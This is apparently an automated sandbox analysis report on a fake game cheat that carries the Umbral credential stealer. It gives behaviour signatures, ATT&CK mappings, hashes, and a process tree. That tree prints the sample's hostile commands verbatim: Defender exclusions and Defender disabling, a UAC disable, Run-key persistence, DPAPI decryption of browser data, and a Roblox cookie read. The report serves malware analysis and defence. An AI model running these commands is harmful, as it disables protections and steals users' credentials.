Analysis
-
max time kernel
148s -
max time network
155s -
platform
windows11-21h2_x64 -
resource
win11-20241007-fr -
resource tags
-
submitted
14-01-2025 20:43
General
-
Target
OblivionCheatVIP 2.1/OblivionClient.exe
-
Size
41.8MB
-
MD5
95a3e8c1d4a5c7bd87a123b5cccb9f67
-
SHA1
152bca2603e39111cc446692d8a29501d980def9
-
SHA256
aa3765a7cfa4a5430c350c0d44252216c215c3fb3ffdf793cbef71dea633bdd8
-
SHA512
8c9663f0f7700dd71475e9bad481e38a1131c636181ca768c4b9016c5e6e233131a37ab5e100b6c071459ef4ee6a7ace6eb22bd671cf5b0c8ded61e6ac8387d1
-
SSDEEP
786432:/ogRer1/vUMrlxwEnk9T5diXo80MVzyj41wt/B3FVB4idWQb9QqMbJVaGeSWj:/ogRA1/3l1nkZ5diXo80MVu82TrXQqk4
Malware Config
Signatures
-
Detect Umbral payload 2 IoCs
-
UAC bypass 3 TTPs 1 IoCs
-
Umbral
Umbral stealer is an opensource moduler stealer written in C#.
-
Umbral family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Using powershell.exe command.
-
Drops file in Drivers directory 1 IoCs
-
Executes dropped EXE 5 IoCs
-
Loads dropped DLL 2 IoCs
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Blocklisted process makes network request 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
-
Drops file in System32 directory 2 IoCs
-
Enumerates processes with tasklist 1 TTPs 2 IoCs
-
Drops file in Windows directory 30 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies registry class 24 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 29 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\OblivionCheatVIP 2.1\OblivionClient.exe"C:\Users\Admin\AppData\Local\Temp\OblivionCheatVIP 2.1\OblivionClient.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAYQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAZgBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAYgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGcAYgBhACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\TestingServer.exe"C:\Users\Admin\AppData\Local\Temp\TestingServer.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Node.exe"C:\Users\Admin\AppData\Local\Temp\Node.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ElGVZ8tBmU.ps1""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ElGVZ8tBmU.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c1nywozl\c1nywozl.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D49.tmp" "c:\Users\Admin\AppData\Local\Temp\c1nywozl\CSC6F859CF7EF78497BBD1BAFBFAC80D0C8.TMP"6⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic diskdrive get serialnumber4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,205,112,88,179,132,152,53,70,180,71,255,78,165,25,123,170,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,43,89,79,5,126,250,1,116,121,112,125,247,184,252,128,220,23,15,53,29,220,16,58,248,72,180,170,131,158,104,44,57,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,57,59,203,225,204,119,242,139,210,68,71,146,2,37,136,134,66,144,112,142,66,58,26,68,134,43,21,84,18,239,144,238,48,0,0,0,179,190,213,250,218,10,50,178,57,11,222,156,60,184,210,63,9,30,72,48,30,210,20,10,229,49,211,45,138,115,187,229,229,148,27,65,245,58,200,51,235,179,65,68,192,41,9,135,64,0,0,0,144,69,82,125,59,185,250,183,128,99,111,153,174,13,23,110,184,101,70,128,152,69,237,30,128,93,81,177,7,102,235,13,25,49,14,117,198,198,136,8,143,246,210,139,19,28,201,126,21,33,138,24,127,198,49,49,224,12,96,7,150,204,43,64), $null, 'CurrentUser')"3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,205,112,88,179,132,152,53,70,180,71,255,78,165,25,123,170,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,43,89,79,5,126,250,1,116,121,112,125,247,184,252,128,220,23,15,53,29,220,16,58,248,72,180,170,131,158,104,44,57,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,57,59,203,225,204,119,242,139,210,68,71,146,2,37,136,134,66,144,112,142,66,58,26,68,134,43,21,84,18,239,144,238,48,0,0,0,179,190,213,250,218,10,50,178,57,11,222,156,60,184,210,63,9,30,72,48,30,210,20,10,229,49,211,45,138,115,187,229,229,148,27,65,245,58,200,51,235,179,65,68,192,41,9,135,64,0,0,0,144,69,82,125,59,185,250,183,128,99,111,153,174,13,23,110,184,101,70,128,152,69,237,30,128,93,81,177,7,102,235,13,25,49,14,117,198,198,136,8,143,246,210,139,19,28,201,126,21,33,138,24,127,198,49,49,224,12,96,7,150,204,43,64), $null, 'CurrentUser')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,205,112,88,179,132,152,53,70,180,71,255,78,165,25,123,170,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,251,152,207,127,25,227,145,188,225,235,189,190,130,162,246,205,121,194,203,140,32,254,72,167,239,159,200,15,82,62,189,80,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,55,211,210,95,188,194,237,84,69,240,82,9,151,164,136,9,190,209,119,253,200,208,6,137,28,217,204,202,253,86,88,20,48,0,0,0,121,113,213,227,224,184,221,239,74,232,215,155,228,223,16,111,67,47,130,59,158,159,239,90,187,64,193,225,111,189,149,222,172,178,230,121,132,32,37,223,195,239,166,217,184,228,216,65,64,0,0,0,183,133,202,28,164,250,117,36,215,62,128,229,44,19,118,93,34,59,228,197,234,238,197,172,121,50,120,219,224,76,19,97,55,20,111,168,63,178,137,131,28,45,159,46,25,110,158,146,229,118,25,152,242,148,252,15,128,239,120,0,112,17,42,127), $null, 'CurrentUser')"3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,205,112,88,179,132,152,53,70,180,71,255,78,165,25,123,170,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,251,152,207,127,25,227,145,188,225,235,189,190,130,162,246,205,121,194,203,140,32,254,72,167,239,159,200,15,82,62,189,80,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,55,211,210,95,188,194,237,84,69,240,82,9,151,164,136,9,190,209,119,253,200,208,6,137,28,217,204,202,253,86,88,20,48,0,0,0,121,113,213,227,224,184,221,239,74,232,215,155,228,223,16,111,67,47,130,59,158,159,239,90,187,64,193,225,111,189,149,222,172,178,230,121,132,32,37,223,195,239,166,217,184,228,216,65,64,0,0,0,183,133,202,28,164,250,117,36,215,62,128,229,44,19,118,93,34,59,228,197,234,238,197,172,121,50,120,219,224,76,19,97,55,20,111,168,63,178,137,131,28,45,159,46,25,110,158,146,229,118,25,152,242,148,252,15,128,239,120,0,112,17,42,127), $null, 'CurrentUser')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- UAC bypass
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic diskdrive get serialnumber4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Node /t REG_SZ /d "C:\ProgramData\Update.vbs" /f"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Node /t REG_SZ /d "C:\ProgramData\Update.vbs" /f4⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.plvUauDG7E""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.plvUauDG7E"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get serialnumber4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get serialnumber4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "pip install pillow"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_computersystemproduct get uuid4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Description,PNPDeviceID4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic memorychip get serialnumber4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get processorid4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "getmac /NH"3⤵
-
C:\Windows\system32\getmac.exegetmac /NH4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\python-installer.exeC:\Users\Admin\AppData\Local\Temp\python-installer.exe /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=03⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\Temp\{D4802F67-A54B-4555-94DE-F4FD4EC4DA8D}\.cr\python-installer.exe"C:\Windows\Temp\{D4802F67-A54B-4555-94DE-F4FD4EC4DA8D}\.cr\python-installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python-installer.exe" -burn.filehandle.attached=564 -burn.filehandle.self=572 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=04⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "pip install pyperclip"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\svchost.exe"3⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\svchost.exe" && pause3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Peripheral Device Discovery
1Process Discovery
1Query Registry
2Remote System Discovery
1System Information Discovery
3System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
MD56683b0cb62e9af4981889a97ed4996dc
SHA1c7f1b3d2dcc182094479bf7961a406d210680a86
SHA2568763359c88406ed2d2b0524e0c74a9b79468eb218aded5b3ae40f23016cf9000
SHA512046655c037648564297711fb3a82ad85ee0874cc2282f9576376bb3bd95745b7da444bdb6507afd2505e06aa017d8b241142fe3c91b35ebd6a0a64bd91f357ad
-
Filesize
12KB
MD5cc5ceaffe628bed05efc31cc5c81b305
SHA13a61b7fc52ef2bf677e374d6d243e5ceadebc276
SHA25676758e096887ad52d9d652bdaf00bf14f37421e31e159a9438c0d9b39e8b2ac8
SHA51281ef1aa14999fd5c338fabce03c5e5920c554e7b0e6879780f293bc2b48a88a4497873d0f2f9017c9e6424de0f49772f3a8be808fa748a912377c1460b9e21e6
-
Filesize
50KB
MD5027ffb691ff9c11cf524a24ea588d736
SHA18ae1ba5e7a5bf1d2255bd768ace82b612c26b663
SHA256fd3aabc67a36e01218a036aa21eca5b52f7535a1b1b6b508ad7019a9c3c23e5f
SHA512c48e24be333945f03ac0c2d4b3f700975a9dc0b3bec92dfab36107b8427b92d6d1c4384690b56d2e9339626eccf59721999a950db83e50b19fd621ff02632642
-
Filesize
2KB
MD55f4c933102a824f41e258078e34165a7
SHA1d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
-
Filesize
1KB
MD5a766b59cb8764029e0daa42ff2d21c3f
SHA19ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA25692d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
SHA512e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
-
Filesize
1KB
MD5a303fe1a2f9ff11a55d664be374b5b28
SHA12ffabc61eb1dcf59e49339d36e1f2f8c86b92c19
SHA256b4a3b1f2715b929513b5c2bc4834fc77b0b2fd1416012ad522617b48cb3041b2
SHA5121e85a53b10926f2c513a4559b74c7f701c3424ab56441b849c4095e408d4ab46b55c30e08cd07d30abac37c0e93a3d5082a6942cd665dd52607241e547c4cfe8
-
Filesize
18KB
MD59d65f62aad4b72008b0208a4d92f8a1f
SHA1796e25e1b97497437beeda6ca686d755954a8243
SHA25612da5220f8e9b50b304f0c9e080b7fb134442c377dadecb640dbcef024eb737f
SHA512b2fa6eaaf3a6c758ce6011c3c1b99a7667b4d958d18aeaa0cab87c6c66181fcfbbde796a5eece00520e6bdcdc93f2711fec4644979d05da664d91926889e1424
-
Filesize
944B
MD56344564097353c8e7e68991fffa80d88
SHA12ac4d108a30ec3fbd2938b0563eb912415ea7c62
SHA256d0af6d69f8bc0c98e9fb61dead6327bbc8b4f5292529313515382d8f883de0da
SHA512e2b37a9001a91cb05483d72f88bd70a61ca5655939c2290fd1580710eec9d8d26a5fedbcb5223f5413b5dcc46f1d8b6b408e57be0e4ad4b37b55cbce9023a303
-
Filesize
944B
MD5051a74485331f9d9f5014e58ec71566c
SHA14ed0256a84f2e95609a0b4d5c249bca624db8fe4
SHA2563f67e4ba795fd89d33e9a1fe7547e297a82ae50b8f25eedc2b33a27866b28888
SHA5121f15fd8ca727b198495ef826002c1cbcc63e98eecb2e92abff48354ae668e6c3aaf9bd3005664967ae75637bacee7e730ce36142483d08ae6a068d9ae3e0e17d
-
Filesize
944B
MD56f0e62045515b66d0a0105abc22dbf19
SHA1894d685122f3f3c9a3457df2f0b12b0e851b394c
SHA256529811e4d3496c559f3bd92cd877b93b719c3ac4834202aa76ab9e16e25f9319
SHA512f78426df6032ee77f8c463446ab1c6bb4669ef7a2463dead831ec4ff83a07d7dc702d79372d8bcaf4594bf0fb6e11e9f027f3e0325de9b19be5f51b7b80ed54a
-
Filesize
948B
MD575750301db717dee0ddce4939072ec41
SHA1d4a763f4ced8ff5be9df24e0d6ec676a7a080527
SHA256abfcadfc1dab687291dec5402f5472132f4d2460e85a498a37efa5ac9dc09888
SHA512e02fbfc783aeb85a16422baf6df381b88415a89a29316695e48c1edb65745ec801759e276803207645d59b81e3ad38f584caad824772035ee6ce46c333f75ce3
-
Filesize
1KB
MD57332074ae2b01262736b6fbd9e100dac
SHA122f992165065107cc9417fa4117240d84414a13c
SHA256baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa
SHA5124ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2
-
Filesize
1KB
MD5b8e88b76f96a92f42c998e528f1f579b
SHA14b4670f36f07e71e0f2f4b1a26f621c520961321
SHA2563b40cfdd481daf73ab442892ace9a5657724ad13b7205c80eda87f84e6dd2cae
SHA512017e2e069977fba42801446f6e99e858549e50b07bf1fa88ebce66602b88ba8101a70e0a2cfd6101e51ca6863206c4dfb770274f09bf2134b16cc8dc2fc1a6d3
-
Filesize
7.1MB
MD5f6ddadd0d817ce569e202e57863ae919
SHA13a2f6d81c895f573464d378ab3bcfb6d8a48eaf2
SHA25663032d6386c94e83a3b7b7b9eefc23493f976bd435a10668aa263d1ca1cb22e1
SHA5127d970e62e3b513b2fa98e8a83ce3080fc6652bba2b70a5127a46ca5c2b0dee8790e48fffef56d15bec2706a997ade5a3c05ff5df4c6be2b3632b6bf7aa6e9ef2
-
Filesize
3.4MB
MD5fd7e13f2c36fe528afc7a05892b34695
SHA114a9c4dfd12e1f9b1e64e110166500be1ef0abb1
SHA2562a24729e58bce7c2abde7225dc2de32539b4c4ef3609b53b54f643955d01c4b0
SHA5127b7060672f680c418f7ebbddf2ba693539b1284566ab756c8061b61a582d13537aa215dad03db5c803eeba2f6fcc7fad7ed2857931ea205048abd905afef1d4f
-
Filesize
384KB
MD5dc49359c176d731fef03fc51ed13c959
SHA13d9348460f2300faeefe1e1e3787c55e71ff0aad
SHA25604f38bdd910eabe114dde5e321cdcbf831c6373da9d27d791b96e09cd96f5417
SHA5125044e4b30919e0d30502162539069014fcf2a4061f9a75a1956202231d98eba985fa7234694f70fae7d3defde2f9f41e97e821e74bda66107a9f452002768793
-
Filesize
724KB
MD52db9e147e0fd938c6d3c1e7cf6942496
SHA1e4333f4334b5df6f88958e03ad18b54e64a1331f
SHA2569f3fc998d3ef429818a8047a43aad89f2d88c190385ba5ac57124132acda9eab
SHA5124b9cbbf2d26cab8be365671d91c7f95216e90a9de30b87224228d1ab5db64a888fbf0b552d259dc5552d2da28451a394c227da312c73807a9c69fe6edfa3cbc8
-
Filesize
1.9MB
MD5d4c1f834f30032f220409a17e0f688cd
SHA161dc90b164c3797456a8ed775b353a087054fd0f
SHA256675c023e78eaed980638a969feaaa07c52a5a604d89e81434e6c462f17eebc12
SHA512b7e97a5fab185b5d9150e07e1707aca21285ae62d4a25997040349eab78a2ad2f9a555980bb221a3a91120651c04a5df0909387e8931e76094de41f7697b124f
-
Filesize
380B
MD5cbb9a56c9c8d7c3494b508934ace0b98
SHA1e76539db673cc1751864166494d4d3d1761cb117
SHA256027703af742d779f4dcde399ac49a3334f1b9e51b199215203e1f4b5e3251fe5
SHA512f71e0a521c2b0aa034e0a2c9f0efd7d813d8408d118979f8e05ecd3aa6fb94c67793e2302ed9455aad9a63d43a53fa1ac2b3d45f7bdfa1cc8104c9a9ace84129
-
Filesize
37.2MB
MD50596379d69afdfe2534fad7584914d1f
SHA134cafd2ac2fb94c4981ef903c974e0f463d0a0e8
SHA2566ae88823ed9ebb76bd63babd61b7dfe6ac9168b2284f32f4b657ebe448b742ca
SHA51217d8ab7db5186d3c77e5ff949bd63bd7b5a31a3891cb757340465ad1df308917c939305218b5448db9f109a61702eb054d6182eecdcba1ba2eb268a10568b932
-
Filesize
3KB
MD58e8c4873bef970298d5240d4416fea62
SHA1acc087d7287cfbe8b21570606fbf4afe89d8b265
SHA2563586ca38c3914cab610775b02a71e392ad13c676ab9dbc6acf74c11afc13e3fc
SHA512cff47b017ae92de04d0134c9247f6684c25f53dfd08ca9472177dd1d73705ae95bf216c7fa993398bcd921b836ae22ef4ccb2fd731826a0c26ae74ec67a4a053
-
Filesize
1KB
MD563da17486dca0d4d5804b18501ccd039
SHA1a1f49bfb7feb52b302a12a3b7ef15bb642810cbf
SHA25640482879dba4e7ded1daddd7c21ce56f8d5bdcc1c1f28426f4cd5a627e9952aa
